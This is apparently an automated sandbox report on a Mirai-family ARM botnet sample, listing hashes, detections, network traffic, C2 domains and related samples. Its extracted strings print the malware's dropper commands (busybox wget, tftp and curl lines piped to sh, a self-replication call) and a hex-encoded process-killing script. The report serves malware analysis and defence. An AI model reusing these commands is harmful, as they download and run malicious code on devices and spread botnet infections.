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Linux Analysis Report
arm5.elf

Overview

General Information

Sample name:	arm5.elf
Analysis ID:	1580165
MD5:	8e695f78d6d28c7ea162b4b7ca9b4142
SHA1:	d0b81d24c18f2c071d5d7a8ed6116ebcfaef7b01
SHA256:	1bdfd29df98654dc39b4b47610dbc96a0f5648f60eaa86a376819116e26a3c64
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580165
Start date and time:	2024-12-24 03:35:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm5.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/236@4/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: serisbot.geek. [malformed]

Runtime Messages

Command:	/tmp/arm5.elf
PID:	6253
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

arm5.elf (PID: 6253, Parent: 6173, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm5.elf

arm5.elf New Fork (PID: 6255, Parent: 6253)

arm5.elf New Fork (PID: 6257, Parent: 6255)

arm5.elf New Fork (PID: 6261, Parent: 6255)

arm5.elf New Fork (PID: 6262, Parent: 6255)

dash New Fork (PID: 6266, Parent: 4331)

rm (PID: 6266, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.jqvRDy661v /tmp/tmp.DX8ej8ozQE /tmp/tmp.uerNLwlL7N

dash New Fork (PID: 6267, Parent: 4331)

rm (PID: 6267, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.jqvRDy661v /tmp/tmp.DX8ej8ozQE /tmp/tmp.uerNLwlL7N

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: arm5.elf	ReversingLabs: Detection: 44%
Source: arm5.elf	Virustotal: Detection: 45%			Perma Link

Source: global traffic	TCP traffic: 209.38.192.73 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.216.16.244 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.23:43140 -> 209.38.192.73:38241
Source: global traffic	TCP traffic: 192.168.2.23:56360 -> 154.216.16.244:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 32.37.21.160
Source: unknown	TCP traffic detected without corresponding DNS query: 119.231.111.73
Source: unknown	TCP traffic detected without corresponding DNS query: 56.14.135.223
Source: unknown	TCP traffic detected without corresponding DNS query: 121.223.149.140
Source: unknown	TCP traffic detected without corresponding DNS query: 175.121.44.160
Source: unknown	TCP traffic detected without corresponding DNS query: 150.176.132.155
Source: unknown	TCP traffic detected without corresponding DNS query: 194.229.148.17
Source: unknown	TCP traffic detected without corresponding DNS query: 118.190.255.226
Source: unknown	TCP traffic detected without corresponding DNS query: 107.85.227.105
Source: unknown	TCP traffic detected without corresponding DNS query: 162.150.123.215
Source: unknown	TCP traffic detected without corresponding DNS query: 98.149.21.176
Source: unknown	TCP traffic detected without corresponding DNS query: 128.8.129.103
Source: unknown	TCP traffic detected without corresponding DNS query: 101.86.197.166
Source: unknown	TCP traffic detected without corresponding DNS query: 154.39.43.42
Source: unknown	TCP traffic detected without corresponding DNS query: 8.115.219.114
Source: unknown	TCP traffic detected without corresponding DNS query: 12.152.162.111
Source: unknown	TCP traffic detected without corresponding DNS query: 111.95.186.221
Source: unknown	TCP traffic detected without corresponding DNS query: 46.30.193.200
Source: unknown	TCP traffic detected without corresponding DNS query: 26.70.95.188
Source: unknown	TCP traffic detected without corresponding DNS query: 137.29.56.206
Source: unknown	TCP traffic detected without corresponding DNS query: 44.102.186.195
Source: unknown	TCP traffic detected without corresponding DNS query: 67.164.181.54
Source: unknown	TCP traffic detected without corresponding DNS query: 74.255.143.98
Source: unknown	TCP traffic detected without corresponding DNS query: 156.234.168.90
Source: unknown	TCP traffic detected without corresponding DNS query: 3.35.199.195
Source: unknown	TCP traffic detected without corresponding DNS query: 200.161.35.55
Source: unknown	TCP traffic detected without corresponding DNS query: 28.50.148.53
Source: unknown	TCP traffic detected without corresponding DNS query: 60.102.153.84
Source: unknown	TCP traffic detected without corresponding DNS query: 125.45.96.162
Source: unknown	TCP traffic detected without corresponding DNS query: 166.151.132.225
Source: unknown	TCP traffic detected without corresponding DNS query: 97.196.199.204
Source: unknown	TCP traffic detected without corresponding DNS query: 101.42.216.80
Source: unknown	TCP traffic detected without corresponding DNS query: 96.96.197.94
Source: unknown	TCP traffic detected without corresponding DNS query: 113.251.80.102
Source: unknown	TCP traffic detected without corresponding DNS query: 186.140.37.108
Source: unknown	TCP traffic detected without corresponding DNS query: 50.147.48.181
Source: unknown	TCP traffic detected without corresponding DNS query: 217.62.25.172
Source: unknown	TCP traffic detected without corresponding DNS query: 162.175.254.232
Source: unknown	TCP traffic detected without corresponding DNS query: 142.36.146.86
Source: unknown	TCP traffic detected without corresponding DNS query: 167.240.161.103
Source: unknown	TCP traffic detected without corresponding DNS query: 32.37.21.160
Source: unknown	TCP traffic detected without corresponding DNS query: 141.29.5.130
Source: unknown	TCP traffic detected without corresponding DNS query: 119.231.111.73
Source: unknown	TCP traffic detected without corresponding DNS query: 155.178.169.186
Source: unknown	TCP traffic detected without corresponding DNS query: 56.14.135.223
Source: unknown	TCP traffic detected without corresponding DNS query: 69.0.132.220
Source: unknown	TCP traffic detected without corresponding DNS query: 73.187.190.87
Source: unknown	TCP traffic detected without corresponding DNS query: 121.223.149.140
Source: unknown	TCP traffic detected without corresponding DNS query: 23.14.18.95
Source: unknown	TCP traffic detected without corresponding DNS query: 175.121.44.160

Source: global traffic	DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic	DNS traffic detected: DNS query: serisbot.geek. [malformed]

Source: arm5.elf	String found in binary or memory: http:///curl.sh
Source: arm5.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6274/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6274/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6273/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6273/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6276/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6276/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6298/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6298/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6275/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6275/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6297/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6297/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6278/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6278/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6311/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6311/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6277/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6277/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6299/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6299/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6310/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6310/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6279/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6279/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6270/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6270/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6272/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6272/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6271/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6271/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6304/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6304/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6303/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6303/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6306/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6306/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6305/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6305/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6308/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6308/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6307/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6307/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6309/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6309/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6265/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6265/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6300/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6300/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6269/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6269/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6302/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6302/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6268/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6268/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6301/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6301/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6323/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6323/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6345/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6345/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6281/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6281/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6280/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6280/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6283/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6283/cmdline	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6282/maps	Jump to behavior
Source: /tmp/arm5.elf (PID: 6261)	File opened: /proc/6282/cmdline	Jump to behavior

Source: /usr/bin/dash (PID: 6266)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.jqvRDy661v /tmp/tmp.DX8ej8ozQE /tmp/tmp.uerNLwlL7N			Jump to behavior
Source: /usr/bin/dash (PID: 6267)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.jqvRDy661v /tmp/tmp.DX8ej8ozQE /tmp/tmp.uerNLwlL7N			Jump to behavior

Source: arm5.elf, 6253.1.00007fff08f2e000.00007fff08f4f000.rw-.sdmp, arm5.elf, 6257.1.00007fff08f2e000.00007fff08f4f000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.elf
Source: arm5.elf, 6253.1.0000562d86e37000.0000562d86f65000.rw-.sdmp, arm5.elf, 6257.1.0000562d86e37000.0000562d86f65000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm5.elf, 6253.1.00007fff08f2e000.00007fff08f4f000.rw-.sdmp, arm5.elf, 6257.1.00007fff08f2e000.00007fff08f4f000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm5.elf, 6253.1.0000562d86e37000.0000562d86f65000.rw-.sdmp, arm5.elf, 6257.1.0000562d86e37000.0000562d86f65000.rw-.sdmp	Binary or memory string: -V!/etc/qemu-binfmt/arm

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	arm5.elf	false		high
http:///curl.sh	arm5.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
214.213.211.214	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
176.30.158.73	unknown	Turkey	20978	TT_MOBILIstanbulTR	false
135.49.233.201	unknown	United States	54614	CIKTELECOM-CABLECA	false
46.56.82.20	unknown	Belarus	25106	MTSBY-ASBY	false
145.0.221.19	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
166.7.139.91	unknown	United States	4152	USDA-1US	false
108.3.22.220	unknown	United States	701	UUNETUS	false
154.47.171.153	unknown	United States	174	COGENT-174US	false
35.99.34.32	unknown	United States	237	MERIT-AS-14US	false
212.229.165.42	unknown	United Kingdom	6659	NEXINTO-DE	false
221.116.32.114	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
29.249.202.153	unknown	United States	7922	COMCAST-7922US	false
78.38.249.74	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	false
137.186.136.207	unknown	Canada	852	ASN852CA	false
167.187.21.210	unknown	United States	26529	HILTON-EUS	false
151.84.38.247	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
181.248.214.17	unknown	Colombia	26611	COMCELSACO	false
29.27.217.115	unknown	United States	7922	COMCAST-7922US	false
72.21.153.161	unknown	United States	20001	TWC-20001-PACWESTUS	false
73.193.44.211	unknown	United States	7922	COMCAST-7922US	false
67.202.220.189	unknown	United States	7381	SRS-6-Z-7381US	false
114.130.144.210	unknown	Bangladesh	17806	MANGOTELESERVICE-AS-BDTire-1IPTransitProviderofBanglad	false
121.227.17.219	unknown	China	23650	CHINANET-JS-AS-APASNumberforCHINANETjiangsuprovinceba	false
204.245.220.102	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
96.249.3.64	unknown	United States	701	UUNETUS	false
193.238.166.48	unknown	United Kingdom	8190	MDNXGB	false
56.235.207.203	unknown	United States	5774	USPS-001US	false
182.14.246.227	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
22.187.232.222	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
177.162.110.244	unknown	Brazil	26599	TELEFONICABRASILSABR	false
144.241.253.45	unknown	United States	1239	SPRINTLINKUS	false
147.87.57.22	unknown	Switzerland	559	SWITCHPeeringrequestspeeringswitchchEU	false
209.70.50.35	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
28.3.132.164	unknown	United States	7922	COMCAST-7922US	false
214.183.243.237	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
91.216.191.174	unknown	Poland	51290	HOSTEAM-ASPL	false
36.122.243.121	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
70.52.2.130	unknown	Canada	577	BACOMCA	false
105.114.236.201	unknown	Nigeria	36873	VNL1-ASNG	false
195.87.195.244	unknown	Turkey	15924	BORUSANTELEKOM-ASTR	false

Source	Detection	Scanner	Label	Link
arm5.elf	45%	ReversingLabs	Linux.Backdoor.Mirai
arm5.elf	45%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
serisontop.dyn	209.38.192.73	true	false		high
serisbot.geek. [malformed]	unknown	unknown	true		unknown

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
167.187.21.210	xd.arm	Get hash	malicious	Mirai	Browse
181.248.214.17	uYtea.x86	Get hash	malicious	Mirai	Browse
193.238.166.48	FRk8v7hJka.elf	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
serisontop.dyn	sh4.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	nklppc.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nklmips.elf	Get hash	malicious	Unknown	Browse	154.216.16.244

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CIKTELECOM-CABLECA	armv4l.elf	Get hash	malicious	Unknown	Browse	135.24.137.10
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	135.34.98.250
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	135.50.184.245
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	135.52.83.5
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	135.25.25.113
	mips.elf	Get hash	malicious	Mirai	Browse	135.41.207.131
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	135.38.250.204
	nsharm5.elf	Get hash	malicious	Mirai	Browse	135.41.86.35
	hmips.elf	Get hash	malicious	Mirai	Browse	135.33.140.90
	nshppc.elf	Get hash	malicious	Mirai	Browse	135.37.200.182
TT_MOBILIstanbulTR	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	5.47.248.138
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	188.41.63.37
	nshkarm7.elf	Get hash	malicious	Mirai	Browse	37.155.189.32
	nsharm.elf	Get hash	malicious	Mirai	Browse	94.235.174.165
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	5.177.98.185
	jew.ppc.elf	Get hash	malicious	Unknown	Browse	188.41.175.242
	arm.elf	Get hash	malicious	Unknown	Browse	5.177.98.179
	rebirth.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	5.176.242.148
	hax.mpsl.elf	Get hash	malicious	Mirai	Browse	5.177.51.132
	rebirth.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	37.154.170.254
DNIC-ASBLK-00721-00726US	sh4.elf	Get hash	malicious	Unknown	Browse	214.168.25.159
	nklppc.elf	Get hash	malicious	Unknown	Browse	215.228.248.104
	nklmips.elf	Get hash	malicious	Unknown	Browse	214.161.77.199
	armv4l.elf	Get hash	malicious	Unknown	Browse	140.156.151.30
	1.elf	Get hash	malicious	Unknown	Browse	164.230.195.58
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	215.130.145.226
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	214.184.61.142
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	214.126.211.37
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	215.245.84.1
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	214.197.165.71

Process:	/tmp/arm5.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	283
Entropy (8bit):	3.1239753048484125
Encrypted:	false
SSDEEP:	6:ZDF0/VWDFfXNl/Vtj/VjmsVot/VOArB/VH:Zllbil
MD5:	EDFA7A80AE3A8B80B8101B32B436E0F8
SHA1:	4B14F79334D8A795DED998AFC87ABDB2851D2098
SHA-256:	963A1DEFC003F6AB384A20060D74B250456393D0CEC0FF361AFB236CB6E47C04
SHA-512:	BF54CA25D9E29BAD3F70C4BC05C87F8DE9FB3493CDCEBB5DB9887C81DA2740A478A4B3928B3757ACA4EDCF8F8E59B0D01F04516B7B050A6E1740CF7284538C89
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	8000-18000 r-xp 00000000 fd:00 531606 /tmp/..1f000-20000 rw-p 0000f000 fd:00 531606 /tmp/..20000-22000 rw-p 00000000 00:00 0 .22000-23000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.04761424747837
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm5.elf
File size:	62'440 bytes
MD5:	8e695f78d6d28c7ea162b4b7ca9b4142
SHA1:	d0b81d24c18f2c071d5d7a8ed6116ebcfaef7b01
SHA256:	1bdfd29df98654dc39b4b47610dbc96a0f5648f60eaa86a376819116e26a3c64
SHA512:	9ee350ca5007c01f70ea2c0c958073fb71237a1a1d807ec336391ea71817855366a44663890482c9bbd6eca516e1745667c8094076bba1d9f2825f3b31f5a25b
SSDEEP:	1536:PT110zc+tOaC/YJwDdp2S4qKIhqo4T3bsRV:PT11jG2p24Kvo4T3+
TLSH:	53530986BC919A13C5D462BAFA5E42CD372123F8D1DF7207DD216F197B8A82B0D7B241
